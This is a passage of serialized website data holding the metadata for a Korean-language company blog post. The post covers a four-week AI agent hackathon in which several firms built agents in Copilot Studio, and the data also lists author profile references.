있습니까?",{"lang":2678,"date":3320,"categories":3321,"blogtitlepic":3322,"customExcerpt":3323},"2026-03-16",[3181],"head-ai-agent-hackathon.jpg","여섯 개 기업, 4주간의 구축 단계, 여섯 개의 실제로 작동하는 AI Agent. 이것이 첫 번째 glueckkanja AI Agent 해커톤이었습니다. Kiekert, Dr. Oetker, Eckes-Granini, igefa 그리고 lila logistik은 Copilot Studio에서 오늘날 실제로 운영되는 Agent를 구축했습니다. 그 과정에서 무엇이 만들어졌고 이 포맷이 어떻게 작동하는지 소개합니다.","/posts/2026-03-16-ai-agent-hackathon","posts/2026-03-16-ai-agent-hackathon",[3214,3327,3328,3329],"Copilot Studio","Hackathon","AI Agents",{"Karsten Kleinschmidt":3331,"Fritz Zurhorst":3332,"Nadine Klein":3333,"Jan Geisbauer":3334,"Carolin Kanja":3338,"Anna Ulbricht":3339,"Annette Brauns":3340,"Pascal Asch":3341,"Steffen Schwerdtfeger":3342},{"display_name":2805,"avatar":2806,"permalink":2807,"twitter":2808,"linkedin":2809,"imageOffsetTop":2810,"imageOffsetLeft":2811},{"display_name":2779,"avatar":2780,"permalink":2781,"linkedin":2782,"imageOffsetTop":2783},{"display_name":2799,"avatar":2800,"permalink":2801,"twitter":2802,"linkedin":2803,"imageOffsetTop":2783},{"display_name":2714,"avatar":2940,"permalink":2941,"twitter":2942,"linkedin":2942,"imageOffsetTop":2783,"socials":3335},[3336,3337],{"text":2945,"href":2946},{"text":2948,"href":2949},{"display_name":2966,"avatar":2967,"permalink":2968,"twitter":2969,"linkedin":2970},{"display_name":3056,"avatar":3057,"permalink":3058,"linkedin":3059,"imageOffsetTop":3060,"imageOffsetLeft":3061},{"display_name":3063,"avatar":3064,"permalink":3065,"linkedin":3066,"imageOffsetTop":3067,"imageOffsetLeft":2810},{"display_name":523,"avatar":3045,"permalink":3046,"linkedin":3047,"imageOffsetTop":2883},{"display_name":2836,"avatar":2837,"permalink":2838,"linkedin":2839,"twitter":2840,"imageOffsetTop":2841,"imageOffsetLeft":2842},{"id":2774,"extension":2775,"meta":3344,"stem":8,"__hash__":3125},{"Pascal Asch":3345},{"display_name":523,"avatar":3045,"permalink":3046,"linkedin":3047,"imageOffsetTop":2883},1791383940399]